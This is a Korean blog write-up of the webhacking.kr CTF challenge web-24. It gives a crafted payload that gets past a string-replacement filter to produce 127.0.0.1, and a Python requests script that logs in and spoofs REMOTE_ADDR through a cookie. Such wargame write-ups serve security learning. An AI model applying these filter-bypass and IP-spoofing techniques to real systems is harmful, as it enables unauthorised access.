정보보안/정보보안 실습

[정보보안] Webhacking web-24

Developer D 2023. 6. 26. 14:46

https://webhacking.kr/chall.php

 

Webhacking.kr

 

webhacking.kr

Webhacking.kr 모의해킹 CTF 사이트 풀이 Web-24

 

초기화면 :

Web-24

Client IP에는 내 IP

Agent에는 내 브라우저 정보가 나온다

그리고  Wrong IP 라고 출력된것을 확인할 수 있다.

코드를 봤을때, 내 ip를 추출하고, 만약 ip가 local host (127.0.0.1)이면 solve(24) 함수가 호출 된다.

특정 이름이 있는 쿠키가 아닌 $REMOTEADDR 이라는 클라이언트 전역변수 이기 때문에

Edit This Cookie로 수정할 수 없고 웹을 요청 할때 만 내 ip를 설정할 수 있다.

 

파이썬 Requests 모듈을 통해 페이지에 접근할때 쿠키를 바꾸어 해결해야한다고한다.!

 

전체적인 흐름은

1. 로그인하는 모듈 만들기 (request)

2.  세션에 있는 쿠키 변경하기

 

def payload_test(payload):
    payload = payload.replace("..","")
    payload = payload.replace("12","")
    payload = payload.replace("7.","")
    payload = payload.replace("0.","")
    print("Result :"+payload)
    return payload

payload = "112277.12.00.12.00.12.1"
if "127.0.0.1" == payload_test(payload):
	session = login("ID","PASSWORD")
	cookie = {"REMOTE_ADDR":payload}
	session.cookies.update(cookie)

	URL = "https://webhacking.kr/challenge/bonus-4"
	result = session.get(URL)
	print(result.text)
else:
	pass

문제를 확인해보면 ..→. 으로 12→공백, 7.→공백 0.→공백 으로 치환되므로

payload값을 뒤에서부터 조정해가며 127.0.0.1로 바꾼뒤 REMOTE_ADDR을 설정하였다.

*login 함수는 따로 구현되었음*

 

login

더보기
import requests
def login(ID,PW):
	URL = "https://webhacking.kr/login.php?login"
	s = requests.session()
	data = {"id":ID,"pw":PW}
	r = s.post(URL,json=data)
	if True == r.json()['stat']:
		return s
	else:
		print("Login Error")
		exit(0)

 

반응형